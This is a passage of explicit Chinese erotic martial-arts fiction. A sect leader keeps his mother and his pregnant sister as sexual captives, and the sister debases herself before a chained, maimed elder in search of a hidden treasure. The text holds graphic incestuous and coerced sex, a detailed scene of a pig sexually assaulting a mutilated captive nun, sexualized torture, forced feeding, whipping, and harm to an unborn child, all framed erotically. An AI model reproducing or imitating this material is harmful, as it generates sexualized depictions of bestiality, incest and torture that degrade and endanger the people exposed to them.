慕容龙径直从紫玫身边走过,用毛巾擦去血迹,然後温柔地拉起萧佛奴身上的锦被。

华丽的寝具内,雪肤香肌艳光四射。如此美艳的身体,却包裹着一块粗棉尿布,可笑之余,则是令人心寒的残忍和凄凉。

美妇怯怯看着儿子,想媚笑却又不敢。

慕容龙掰开萧佛奴瘫软的双腿,一边解开尿布,一边道:「娘亲乖乖,今天又拉屎了吗?……呃?这麽多?」美妇像婴儿般叉着双腿,粉臀间满是秽物。她羞赧地垂下眼廉,细若蚊蚋地说:「娘一整天都没换……」慕容龙盯着白氏姐妹,寒声道:「怎麽不换?」萧佛奴连忙说道:「是娘不让她们换的……娘想让哥哥亲手给人家换尿布……」白玉莺给她擦完身子,不知从哪儿找来一堆秽物包在她股间,又教她这番说辞。

慕容龙一怔,旋即哈哈大笑。身後僵跪的紫玫心下却愈发寒冷。

************紫玫安详地坐在榻侧,右手低垂。

身前,一个裸身丽人正津津有味地舔弄她的手指。

宝藏的线索定然是在阴长野身後的石壁上,但紫玫无论如何也不愿再见那个无腿怪物。一想他乱蓬蓬的毛发,身上令人作呕的气味,紫玫就像做了一个可耻的噩梦。噩梦里,自己居然当着那个怪物的面两次手淫……她不愿承认,但无法欺骗自己——与冒着凌辱的危险接近那个怪物相比,她宁愿去取悦仇敌慕容龙。

紫玫用手指醮了些蜜,再次放到风晚华嘴中。

香软的小舌快捷无伦地划过手指,那种滑腻的感觉,舒服得让人想呻吟。紫玫闭上眼,微微喘着气,细心体会师姐舌头的动作。

自己连一条狗都杀不了,何况是阴长野那个妖怪。亲友疯的疯,残的残,连个帮手都没有,只好与他乾耗。可他已经在地窟活了十几年,看样子还能活上几十年……紫玫苦涩地咬住嘴唇。只能先取悦慕容龙,消除他的戒心,想办法杀掉他报仇了。至於逃生……或者可以让星月湖每人都喝上一碗麻沸散,自己就能为所欲为了。

能不能把叶老头给迷倒呢?紫玫仰着脸胡思乱想。不行就媚惑他,在紧要关头大声哭叫出来,让慕容龙一掌结果了这个老匹夫。计策虽然老套,但对慕容龙这种性机能亢奋的男人来说,应该有效呢。

她手指一动,关节碰在风晚华牙齿上。风晚华立即伏下身子,恐惧地轻颤。

紫玫心疼地摩挲着她的肩膀,柔声道:「别怕,大师姐……」她用丝帕擦去风晚华唇角的口水,大师姐虽然口不能言,却是她所能找到最好的老师。从地窟归来後,心境转变的紫玫不敢再见嫂嫂。她终於明白,自己的施恩,只能使嫂嫂更加痛苦。

试想,原本亲若姐妹的同伴如今却一主一奴,即使自己无意以垂怜的眼光去看待嫂嫂,嫂嫂也不会愿意让人旁观她所受的凌辱。

只有在大师姐面前,她才不必担心身份悬殊的尴尬。

「大师姐,我该怎麽办呢……」回答她的,只有流霜剑痴痴的笑容。

************彤云密布,最後一丝阳光也消没在群峰之後。

紫玫疲倦地坐在曲亭中,远望山色。

飘梅峰一年四季都是大雪纷飞。偶然放睛,师姐妹们便联袂在山间游玩。自己那时候好淘气啊,学着劫路毛贼的手段,用了整个晚上挖了一个陷阱。记得自己很小心地扫去痕迹,结果还是被大师姐看出端倪。大师姐当时抿嘴一笑,好像照亮雪地的一抹月色,样子美极了。

她一笑,嫂嫂——那时还是二师姐,也看了出来。二师姐当日的折枝手已经有了八分火候,只一招就拧住了自己的小辫子,还威胁说要把小坏蛋埋在雪坑里。

最倒霉的是三师姐,她急匆匆赶来救自己,一不小心滑进陷阱,大师姐、二师姐都慌忙跳下去救她……回忆间,忽然颊上一凉。少女脸上的微笑渐渐褪去。她伸出手掌,将一朵轻盈的雪花接在白玉般的掌心中。

下雪了啊………************慕容龙走进石室,紫玫便扶着肚子,蹒跚地走到他身前,温柔款款地为他宽衣解带。

小丫头真是转性了。挺着这麽大个肚子,交合起来一定辛苦万分吧。可她脸上始终挂着笑意,而且技术似乎也有些不同,好像很卖力……慕容龙双手枕在脑後,在没有人能看到的眼神深处,藏着一丝淡淡的伤感和企盼。

紫玫跨坐在慕容龙腰上,身子後仰,腾出笨重的小腹,竭力套弄。球状的香乳布满汗水,白亮亮,像一对跳跃的雪球,又圆又大。

良久,她颤抖着停住动作,等肉棒的震颤停息,她吃力地抬起身子,俯身吮尽阳具。

慕容龙冷冷一笑,抬脚将她踢到一旁,「女人真是贱货。只有不把她当人,才会学乖。」残精梗在喉头,又苦又涩。

115十一月十九,小雪初晴。

後山是庖厨所在,自从猪圈多了一头母兽之後,教众便蜂涌而至。但昨夜一场小雪,使这里冷清了许多。

一个五短身材的杂役提着一桶猪食,隔着木栏用长柄铲舀到木槽中。十几头肥猪哼哼叽叽挤成一团,长嘴在槽里拱来拱去。

「赶紧吃!还有月把就过年了……」饲者磕了磕木铲,朝圈中一挥。

猪圈中间被踩成一个尺许深的泥坑。融化的雪水混着畜牲的屎便尿水聚在坑里,又脏又臭。

一段轮廓模糊的物体半浸在泥泞中,只有露在泥水外的口鼻和泥水上的长发依稀能看出是个女人。

木铲「啪」的打在肉段上,猪食沾在黝黑的泥水上,彷佛零星的雪花。

「他娘的,你这个贱货一来,害得老子的猪一个劲儿地掉膘。过年没肉吃难道吃你?」雪峰神尼艰难地吐出一口泥水,在坑里蠕动了一下。她的肥乳和躯干都泡在冰冷的泥水中,只有臀部像飘在水面上一般,露出浑圆的曲线。

那杂役摸出一个酒葫芦,喝了一口去去寒意,然後趴在栏上,用木锹戳弄着泥水中的肉体嘲笑道:「什麽天下第一高手?在我们星月湖连头母猪都不如!老母猪还不是天天挨操,你他娘的除了挨操还是挨操……」凤凰真气显示出它的威力,纵然散乱难聚,浸在刺骨的雪泥中,神尼仍能勉力支撑。

她被扔到这里已经整整两个月,每一天,这个昔日武林名派的掌门就像蛆虫一样苟活在肮脏的泥泞中。两个月与猪群为伍的日子,留给她的只有无休止的奸淫和凌辱。

令人惊奇的是,她居然还活着,不仅活着,她还……「吃一口。」杂役从吃剩的猪食中铲了一锹递在雪峰神尼面前。

脸上的泥水一滴滴落在锹中,酸臭的猪食混着群猪的口水,在冰冷的空气中散发着淡淡的热气。

雪峰神尼支起满是泥垢的脸庞,趴在锹中将猪食一口一口吞咽下去。

杂役呲着黄牙一乐,拿起木锹,将猪食尽数抹在雪峰神尼脸上。神尼拖着折断的手臂,将猪食一一舔净,虽然被如此凌辱,她依然神色如常,自有一股凛然的气质。

「他娘的,毛都拔光了,还装什麽八哥……」饲者咧咧嘴,将神尼的脸孔压到泥坑里。

一头肥猪吃了个半饱,便淌着泥汤唏哩光荡地窜了过来。它也是熟门熟路,猪嘴伸到神尼股间,将她臀部略微拱起,接着就骑到神尼身上。

被肥猪在臀後猛然一顶,泡在泥泞中的两条大腿顿时扬起,稀稀沥沥溅起一片泥点。

「日你娘哎,有点儿劲干什麽不好?」饲者骂骂咧咧挥锹朝肥猪肩上一通狠打,「她会给你生猪崽儿吗?」那肥猪少说也有五百多斤,木锹打在肩上只当搔痒。细长的阳具一伸一顶,立刻钻进肉花中,挤出一滩泥泞。

肥猪弓着腰一拱一拱,女体渐渐被拱出泥坑。先是柔颈,然後是一对轻蓬蓬的肥乳,接着是腰肢、大腿。

螺旋状的猪鞭专为插入子宫而生。进入体内後便直直伸进子宫颈,略带弯弧的茎端直接在宫颈内抽送起来。

雪峰神尼的腰肢被顶得向上弯起近乎直角,大腿左右平分,斜斜翘起,破碎的膝关节却不自然的弯折下来。两条不受控制的小腿悬在腿下摇摇晃晃,泥水淌乾的地方,隐约露出触目惊心的苍白。

无论是人是兽,对雪峰神尼来说几乎都没有区别。也许区别在於:这些真正的禽兽不会有意弄痛她。

不知过了多久,沉默的雪峰神尼喉头突然一动,剧烈地呕吐起来。刚刚吞下的猪食混着泥水和胃液一古脑全吐了出来。喘息还未停止,肥猪又是一拱,神尼的面孔重重跌在自己的呕吐物中。

神尼吃力地扬起污秽的脸庞,睁开眼睛。

远处的梅树下,一个红衣少女拥紧斗篷,只剩一对秀目在外。她远远看着这一幕,没有说话,也没有挪步。

两人默默对视半晌,最後少女迟缓地转过身,慢慢离开。

************「娘。」「嗯?」紫玫将按摩过的手臂塞到被下,轻声道:「他对你很好——你要好好活着……」萧佛奴玉脸一红,害羞地说:「他娶的是你……」紫玫凄然一笑,心道:我和你一样,都只是他的玩物。不过……这样的日子我再也过不下去了,就是死,我也要改变自己的命运。

萧佛奴脸上带着一抹病态的艳红。昨晚她被架到地上,全靠肛中的木棍支撑跪坐了一整夜,至今木棍还没有拔出。幸好有尿布掩着,才没让女儿看出异样。

紫玫愁绪满腹,还要强颜欢笑,她暗自咽下泪水,声音略带发颤地说:「娘,你千万要照顾好自己……」萧佛奴有些不明白,自己饮食便溺都需要别人帮忙,还能如何照料自己?但肛内的胀痛使她无法多想,当下点头答应。

紫玫见母亲精神不振,满心的话再也无法说出口,只好抱住母亲紧紧一拥,笑着去了。

萧佛奴被女儿不寻常的举动弄得一愣,旋即又被肉体慾望所征服。美妇低低呻吟一声,肛肉一松一紧,像一张灵活的小嘴吞吐着木棍,淫猥地自得其乐着。

她不知道刚才那番话其实是女儿的遗言。

************被慕容龙的冷酷所击溃的紫玫,再也不幻想能用柔情媚惑这个禽兽。而师父的惨状则激发了她的勇气。

师父不仅还活着,而且还再次怀孕。紫玫很清楚师父的呕吐意味着什麽。刚刚清空的子宫又怀上不知身份的胎儿,这对师父这样的方外人士是多麽大的打击……可师父始终没有放弃。即使是四肢关节被废,琵琶骨被穿,猪狗般扔在泥泞中等待死亡,师父仍然挣扎着要活下来。只有活着才有希望——她彷佛听到师父刚厉的声音:飘梅峰弟子绝不会软弱的想要自杀!

紫玫是抱着必死的决心去面对阴长野。无论会受到什麽样凌辱,无论心里多麽恶心恐惧,她都要再次去面对那个怪物。

她知道,即使宝藏存在,会给自己带来生路的机率也极其渺茫。但为了那万分之一的希望,她宁愿用贞洁、肉体,甚至生命去换。或者什麽都没有,只为了那个反抗的姿势,或者反抗本身。

明知道最後一个线索在那个怪物背後,却因为种种理由而不去寻找,她会死不瞑目。

「是。我会死不瞑目。」紫玫对自己轻声说。

她仔细洗净自己每一寸肌肤,然後擦乾秀发,盘了一个精致的发髻。

铜镜中的青丝乌黑亮泽,纤指彷佛白色的蝶翅,在发间翩翩飞舞。

斜斜插了一支玉簪,一支凤钗,再将凤口的垂珠一一理顺,紫玫翻开案上从未打开过的羊脂玉盒,沾了一点胭脂,均匀地涂在唇上。

胭脂掩住了唇瓣失血的苍白,散发着迷人的玫瑰红。彷佛仙指一点,镜里的少女顿时鲜活起来。

光洁的玉颊远比任何香粉更加白腻滑嫩,紫玫只理了理睫毛和弯眉,让自己的美目愈发动人。

最後,她拿出茉莉花油,细致地涂遍全身,让周身每一寸肌肤都晶莹润泽,带着馥郁的香甜。

当抹到乳房时,紫玫托起右乳,乳下那个黑点已经大了一倍。她微微一笑,如果还没能找到宝藏,就让它烂下去好了。

沉甸甸的乳球在手里一阵轻颤,待拿开手掌,嫩红的乳头已微微翘起,像一个撩人的微笑。

紫玫站起身来。镜里的少女圆腹高挺,肥乳并举。周身肌肤如脂如玉,芳香四溢。身怀六甲的紫玫不仅仅没有稍减娇艳,反而多了一分慵懒的风韵。

她先带上水红色的轻缎抹胸,然後套上一件雪白的云绸亵衣。紫玫精心系好衣带,挽了一个相思结,接着披上长过腰腹的中衣,系上及膝的内裙和垂到脚面的外裙。轻轻一展,裙上鲜红的桃花彷佛满衣缤纷的落英翩然起舞。

桃花纷纷扬扬飘到衣襟袖底。花瓣越来越碎,最後层层叠叠积成一片淡淡的粉红。

束好衣物,少女将一件镶黑滚边的织锦夹袄套在外面。衣襟无法扣上,只能敞开,披在腹侧。最後她拿出一根丝绦将玉佩结在腰下,再挂上黄金小弩。

紫玫扶着小腹,浅笑着望向镜里千娇百媚的少女。

她知道,自己如此精心打扮,最後可能连一件完整的衣襟都不会留下。

毕生第一次用心妆扮,却是要将这具鲜嫩的肉体献给一个肮脏的怪物。自己真是好贱呢……紫玫微微一笑,拉起衣袖,将一只翡翠手镯套在霜雪般的皓腕上。

116静室内,慕容龙无由地一阵心悸。

他松开了手诀,缓缓散了功。

是因为娘?妹妹?还是因为从前的日子?慕容龙其实没有太多奢求,只是血液中那些根深蒂固的因子,使复国成为慕容氏每一个男人的宿命。

除此之外,他只求生命中最重要的两个女人能乖乖待在身边。他甚至不奢望能获得两人的柔情,只要她们人在此处,在自己触手可及的范围内,屈伏在他强健的羽翼之下——这样就好。至於女人的心灵,那是男人能力之外的事,也是阳具和生育之外的事。

他在心里抚过那张暗泣的娇靥。却找不到话对她说。

良久,慕容龙低叹一声,收敛心神,盘膝坐在太极图上,两手分按阴阳鱼的双眼。

************幽暗的地窟内,淡淡的珠辉彷佛指尖的一点灵光。慕容紫玫提着裙裾,玫瑰色的俏脸无忧无喜,恬然走向未知的命运。

石门仍像自己离开时一样洞开着。紫玫倚在门旁嫣然一笑,「阴右使,你好……」话音未落,少女便被一股狂飙卷入洞窟。

怪人将紫玫柔软的身子扔在地上,两手抓取住领口一分,像剥笋一样,一把将少女层层衣物剥了个乾净。轻纱红绡乍然破碎,精心挽就的相思结、同心结被粗暴地拽成两段,零零碎碎的饰物掉了满地。

阴长野抓住紫玫的肥乳,不理会她的痛楚,迳直大力揉捏起来,「臭婊子,话给老屈捎到没有?」虽然早有准备,但甫一见面便横遭凌辱,紫玫自然而然便产生出抗拒和厌恶感。她惊慌地拧住断袖,压住心底的耻辱和恨意,低声道:「屈护法……不在宫里……」阴长野勃然大怒,「臭婊子,你敢骗老子?」紫玫轻叫一声,颦紧眉头,啼声道:「屈护法真不在宫中……奴婢是怕前辈受苦,带来些食物……」她脸现羞色,嘤声道:「还有奴婢自己,来伺候前辈……」阴长野眼中精光闪烁,最後丢开瘀肿的乳房,拣起地上的包裹。先撕开嗅了嗅,这才放进嘴里。他一边大吃大嚼,一边含含糊糊地说:「臭婊子,你玩起屄来又骚又浪,老子喜欢得紧。再玩一次让老子乐乐!」紫玫知道这是必有的羞辱,当下含笑除去鞋袜,褪下衣裙。纤指探入娇美的花瓣,媚态横生地挑弄起来。

在阴长野的喝令下,紫玫时而仰卧,两腿高举,扳起玉股;时而跪伏,挺着雪臀搓捏花蒂;时而吃力地挽起一腿支在石壁上,将秘处凑到妖邪眼前,让他能看清每一个细节。

紫玫渐渐情动,白嫩的肢体上,一只凤凰隐隐浮现。

阴长野大是奇怪,将紫玫拉到身前细细端详。紫玫腆着小腹,指点说:「这是凤足,呶,在奴婢这里……」爱液湿润了微肿的花瓣,嫩肉彷佛洇湿的胭脂,饱含着欲滴的艳红。肉缝在白皙的玉指下时开时合,隐约露出娇美的穴口。即使与慕容龙最投入的交合中,紫玫也没有如此不遗余力地释放过自己。

「这是凤翼,奴婢这边奶子还有……」「臭婊子这对奶子真大,是不是那叶行南弄来什麽新药?」阴长野伸出油光光的黑手,夹住少女红嫩的乳头。

紫玫腻声道:「阴右使果然是目光如炬,一眼就看出奴婢的……贱奶是改造过的。」她挺起胸膛,让那对油手肆意把玩自己的乳球,娇滴滴地说:「前辈喜欢奴婢的奶子吗?」阴长野反手一掌,乳球远远汤开,又弹到胸前,颤微微摇晃着慢慢显出五道指痕,「球!人不人鬼不鬼的,还这麽得意。真他妈的不要脸!」紫玫心头像被人刺了一刀,滴出血来。她眨眨眼睛,咽下泪水,轻声道:「前辈教训的是……」「咬住。」阴长野忽然说。

紫玫愣了一下,张口将满是油渍的乳尖咬在嘴中。

「那个。」紫玫两手捧起肥乳,托到嘴旁,将两只乳头一并咬在唇间。她第一次感受到自己乳头的滋味。滑嫩中还带着柔韧的弹性,美得让人忍不住想狠狠咬下。肥腻的乳肉像柔软的波涛,一荡一荡轻轻碰触着嘴唇。

两只浑圆的乳球被扯成锥形,向上扬起,乳尖消失在丹唇皓齿之间。紫玫噙着自己的乳头,颤抖着迎来了今天第一次高潮。

************这一个时辰比一百年还长。

紫玫仰跪在阴长野身前,两膝平分,用一截吃剩的鸡腿骨在秘处捅弄。这是阴长野的吩咐,不许她碰触其它部位,只用这根短小的骨头把自己捅到发浪。

被阴长野吮净的鸡骨很光滑,插在体内并不疼痛。但那种羞辱却比疼痛更甚。

阴长野被锁在壁上,仅有寸许的活动空间。紫玫原本准备在交合中用手指摸索石壁的纹饰,数月来的开锁经验,她对自己指上的触觉极有信心。但阴长野却太不争气,无论她如何努力,那根阳具都像死蛇般毫无动作。

思索多时,紫玫美目一亮,恭敬地说道:「前辈,奴婢帮您洗洗身子,好吗?」这麽一说,阴长野身上顿时痒了起来。二十多年没洗澡,真不是人过的日子。他舔了舔乾裂的嘴唇,嘿然道:「不许用手。」紫玫顺着他的目光看向自己的乳房,顿时明白过来。她咬着牙关,晃了晃圆乳,「前辈若不嫌弃,奴婢就用这对不要脸的贱奶伺候您……」她说着下贱的话语,心里的恨意比片玉的锋芒还要锐利。

撩开乱蓬蓬纠缠的毛发,阴长野魁梧的身体瘦骨嶙峋,活像一把乾柴。轻轻一碰,遍体的泥垢便纷然而落。

紫玫把棉袄的碎片放在石穴的积水中浸湿,然後毅然起身,巧笑着将雪白的娇躯贴在阴长野乾枯的身体。

肌肤磨擦的彷佛是坚硬的树皮,隐隐作痛。紫玫纤手一拧,晶莹的水滴彷佛酸楚的泪水落在圆润的嫩乳上。她像一个深情的少女,心甘情愿地献出芬芳的肉体,然而她的「情郎」,却是个三分像人,七分像鬼的怪物。

温润的肉体上下起伏,小巧的乳头眨眼便染得乌黑。乳球前端彷佛墨涂般,後面却依然白嫩。

这样是不是淫荡呢?为了逃生就如此作践自己,与那些用肉体换取衣食的娼妓又有什麽区别呢?

恍惚间,怀里腥臭的污垢彷佛透过凤凰纹身,一点点侵入纯洁的肉体之内。

「我是一个婊子……」紫玫轻声对自己说。

「废话!星月湖的女人都是婊子!」阴长野唾了一口,搂住紫玫的腰臀,拨开湿淋淋的花瓣,拚命把阳具送入肉穴。

受到压迫的胎儿挣扎起来,在圆滚滚的小腹内又踢又蹬。肚皮滑腻的动作激起了阴长野的慾火,他紧紧抓住紫玫,揉碎一般磨擦着她的小腹。

紫玫子宫剧痛,耳边似乎听到胎儿骨折的声音。她额上冒出冷汗,唇上的胭脂咬得七零八落。

喘了口气,少女突然一笑,神态妩媚之极。接着展开柔臂,以更大的力气抱紧怪物殭屍般肮脏发臭的身体。

紫玫使出吃奶的力气搂紧阴长野,垂头朝他背後看去,同时拔下凤钗。

如水的美目眨了几眨,每眨一次,都变得更大。眨了三次之後,黑白分明的大眼里突然涌出一层泪水。

凤钗「叮」的落在地上,接着少女凄痛的哭声,响彻石窟。

石壁上什麽都没有。没有纹饰,也没有图形。

所有的牺牲,都白费了。

阴长野对她莫名其妙的痛哭毫不在意,这哭声反而唤起了他久远的记忆,沉睡的阳具渐渐苏醒过来。

无边的失望和刻骨的伤痛将紫玫的坚强击得粉碎。洁白优美的手臂软绵绵垂在身後,再没有一丝力气。膝弯被阴长野架在臂间,下体红艳艳的花瓣翕张着,朝渐渐发硬的肉棒套去。

此时紫玫只想一死了之。拖着怀孕的身体任人蹂躏,付出尊严、肉体、贞洁……结果落入一个骗局,这对满怀希望的少女而言,残忍得令她能以承受。

坚守的信念彷佛崩溃的七宝楼阁,片片飘舞着灰飞烟灭。悸动的胎儿彷佛在应合母亲的痛哭,在腹内一坠一坠朝子宫口滑去。

而在她身下,复活的阳具笔直竖起,龟头几乎触到湿润的嫩肉。只属一人专享的肉穴,即将迎来第二支阳具。

冰冷的石窟,痛哭的娇美孕妇和肮脏的残疾怪客,这一切,构成了一幅凄艳的画面,永远留在某个人心底。

一股森寒的杀意刹那间充满石窟,连万古长滴的水珠也被冻结在石笋尖上。

阴长野抬头一看,失声叫道:「慕容祁!」一道鬼火般的寒光划破黑暗,世间的一切都静止下来,只剩下这一抹凄冷刀光。

117阴长野不敢怠慢,胸腹一振弹开紫玫,腾开手臂,接着合掌朝刀锋夹去。

这柄刀长仅半尺,宽仅三指,一点凛冽的青光在刀锋上无声无秘的幽幽闪动,彷佛一只寂寞的流萤。

眨眼间,流萤便划过三丈的距离,跳到阴长野两掌之间。然後微微一跳,轻盈地转了一个弧线。

阴长野右掌一凉,四指手指齐根而断。他没想到短刀会如此锋锐,百忙中猛然後缩,身子几乎嵌入石壁。

「格格」几声轻响,阴长野右胸四根肋骨齐齐斩断。但这一刀去势已尽,只差寸许便可击碎内脏,却不得不回收。阴长野身经百战,无数次死里逃生,实是勇悍绝伦之辈。他虽伤不乱,左手五指忽屈忽伸,正打在来人腕上。

短刀斜斜飞起,钉入石壁。

慕容龙俊脸毫无表情,右掌一翻勾住阴长野左掌,接着左手挥出,与他右掌抵在一起。

阴长野惊魂甫定,认出来人并非慕容祁天杀的那个小白脸。他被锁在石壁上,兼且两腿被砍,行动不便,看来人这一刀的声势,武功不在教内护法之下,若是游斗,自己必死无疑。

不成想这家伙空张了一张俊脸,却是个笨蛋,竟然以短对长,跟自己比拚内力。这小兔崽子就算从娘胎开始练武,又怎麽能跟自己几十年的功力相比?

阴长野眉头一扬,劲力狂涌而出,务必要把这小子毙於掌底,夺过宝刀斩断锁链——他娘的,老子一脱身,第一件事就是那个臭婊子操得稀烂,再把宫里的女人统统奸死,一吐被囚的怨气!

两股真气一触,阴长野脸色顿时凝重起来。这小崽子功力之强直追自己当年,只是是真气驳杂不纯,不能好好利用。真气交锋片刻之後,他赫然发现,面前这个年轻人用的竟然身兼教中两门绝学:太一经和还天诀!

慕容龙心下恨极,不愿与他久斗,因此一上来便硬拚内力,想一举把这枯乾的殭屍爆成血雾。可这时才发现这家伙功力深厚实为生平罕见,与当初的雪峰神尼相比,只差了半筹。但他身负重伤,耗也耗死这个王八蛋。

他用余光看了看昏迷的紫玫,心下气恨交加,手上的劲道愈发凶猛。当下两人四手相抵,堪堪敌对,石窟顿时一片死寂。

良久,紫玫悠悠醒转。一睁眼,先看到头上的短刀,她想也不想,立刻拔出片玉,一刀斩下阴长野的左臂。这个妖魔,害得自己丧尽尊严。

血光乍现,阴长野左臂齐根而断。他自知必死,一声暴喝,残缺的右掌奋力推开慕容龙,接着朝紫玫胸口抹去。不顾一切地要先一掌拍死这个贱婊子。

紫玫提着滴血的利刃,眼神不住变幻。一刀斩下之後,她便後悔了。刚才机会千载难逢,实在应该先杀掉慕容龙,再对付阴长野。犹豫间,阴长野失去手指的断掌重重拍在她的双乳正中。

「贱婊子!一起去死吧!」阴长野两眼放光,狂喝道。

紫玫一声不响往後倒去,像一片苍白的花瓣,悄然飘落在地。

慕容龙目眦欲裂,双掌齐出,重重拍在阴长野胸口。将他的胸骨击得粉碎。

阴长野「哗」的吐出一口鲜血,把目光从紫玫身上收回。沉声道:「你是何人?」「慕容祁之子,星月湖宫主慕容龙。」阴长野眼神一亮,旋即渐渐黯淡,「阴姬是死在你手里吗?」「不错。她生前受尽苦楚,死後被本宫做成玩物——养眼得很呢。阴右使想见见吗?」阴长野放声狂笑,石窟中的水滴被笑声激荡得四下飞溅,突然间笑声止歇,再无声息。

慕容龙迟缓地转过身子。

刚才听到白玉鹂的密告,说少夫人几次跑到石窟跟一个怪人苟合,慕容龙差点走火入魔。他没想在自己宫内,居然还藏着一个早就该死的家伙,而自己的妻子竟然会几次三番地委身於他。暴怒之下,慕容龙立即赶到石窟。

当时他想法只有一个:杀了奸夫,废了淫妇!

自己的女人竟然敢红杏出墙,即使砍断她的手脚,做成人彘也不为过!无论如何也不能再纵容这个贱人!

然而此时,那些血腥的冲动都消散了。他太清楚那一掌的威力了,即使她那点微薄的功力仍在,也只能是心脉尽碎芳魂杳然的结局。

妹妹宛如熟睡的仙子,静悄悄躺在地上。

他伸手把妹妹揽在怀中,当手掌抚摸着她浑圆的小腹时,慕容龙止不住颤抖起来。唯一的亲妹妹怀着自己的孩子香销玉殒,当日在祖陵发下的誓言彻底化为泡影……姑且不论她的血统,单是她的容貌便是这世上难得的奇珍。虽然她屡屡惹自己发怒,但她的每一次微笑都印在自己心底。无论是狂热的交合,还是拥着她香软的身体静观长河落日,她带给自己的喜悦和满足都是任何人也无法代替的。

这一刻他浑忘了雄心霸业,浑忘了誓言,只希望她能打个呵欠,缓缓睁开眼睛——即使没有孩子也无所谓了。

紫玫打了个呵欠,缓缓睁开眼睛,然後眉头一皱,倒抽了一口凉气,脸上露出吃痛的娇媚表情。

慕容龙顿时愣住了。

************「说!究竟是怎麽回事?」慕容龙寒声道。

後悔和愤恨宛如毒蛇的尖牙,将柔软的芳心咬成一片片。真是太傻了啊,只为了一个虚假的梦幻,就轻易拿自己身子做交易……紫玫怔怔落下泪来。

「啪」,慕容龙重重给了她一个耳光,「贱人!你背着我做了什麽不要脸的事!」紫玫「哇」的痛哭起来,这一耳光让她清醒过来,想起自己的处境。待哭声渐止,一篇谎话也已完稿。

她抽咽着说:「你整天冷着脸,从来都不理我。人家整天没有事做,只好帮你整理家务……」哭声一响,紫玫肝肠寸断地泣道:「谁知道这里面有一个怪物,我武功都被你制住了,打不过又逃不掉……他……他还在人家身上拍了一掌,说不听话就会烂掉……」紫玫委屈地托起右乳,让他看清黑煞掌的印记。

有叶行南在,慕容龙不必为此忧心。自己的妻子竟被这种小伎俩胁迫,他越想越气,怒吼道:「为这你就趴在这粪坑里,让这条狗都不如的东西操吗!」紫玫脸上一红,低声说:「他不行的……没有……」「没有?这呢?」慕容龙指着她乳上腹上的泥垢。

紫玫心里一酸,两手摀住玉脸,哭得说不出话来。

慕容龙粗暴地掰开她的双腿,下腹黏乎乎湿淋淋还带着油光,明显是被人侵犯过。乳上和臀上的抓痕宛然——自己还没舍得对她这麽狠,她居然就把香喷喷娇滴滴的身体送给一个下三滥的东西……玩死活该!

慕容龙越想越气,虽然不会再用砍断四肢这种暴力的手段,但必要的惩罚还是必不可少的。

************看着儿女突然入室,萧佛奴微微一怔。待看清两人一个怒气冲冲,一个满脸是泪,美妇不禁心下叫苦。

「娘,你女儿背在我在外面勾引男人——你说该怎麽处置?」慕容龙森然道。

萧佛奴大吃一惊,难以置信地看着女儿,真要做出这种事,依儿子残暴的手段,就是不杀她也会把她四肢砍断——最少也是像自己一样被抽去筋腱。

「玫儿!」美妇焦急万状地叫道。

「我没有……我是被迫的……」紫玫委屈地说。

「奴婢听到少夫人说:前辈若不嫌弃,奴婢就用这对不要脸的贱奶伺候您……」白玉莺学着紫玫的口气在旁怂恿。姐妹俩有心算计紫玫,故意等她受尽凌辱才去通知宫主。可惜白玉莺没有目睹当时的场景,不然她一定会拉住妹妹,等阴长野的阳具进入之後再说。

但这句话已经足够。慕容龙如火上浇油,一把将紫玫推倒在地,咬牙切齿地骂道:「贱人!」紫玫又羞又气,脸上火辣辣一片。

萧佛奴柔声道:「龙哥哥,玫姐姐不懂事,冒犯了您,但她……」美妇声音颤抖起来,「她还怀着孩子,又受了伤,您饶她一次好吗?」「这种事哪有饶过的?教女无方,你也担着干系,竟然还替她求情。」萧佛奴身子一颤,不敢再言语。

白氏姐妹得意洋洋地捆住紫玫的双手,将她悬在半空。慕容龙寒着脸,摸出荡星鞭,手腕一抖,重重打在紫玫背上,「这是娘的筋腱,哥哥是替娘来教训你!」怕伤着胎气,鞭打只在粉背。从後看来,紫玫娇美的身形彷佛一条水淋淋的美人鱼,在空中轻晃。

长鞭一闪而过,一道鲜红的鞭痕彷佛从水底浮出一般,带着湿湿的痕迹,印在晶莹的肌肤上。

赤裸的女体触电般痉挛起来。筋腱本就纤细,药物泡制之後更是柔韧异常,紫玫只觉身子像被利刃切开一般,从右肩到左臀留下一条笔直的火线。她两手交叉握紧,光溜溜的玉腿拧在一起,拚命克制。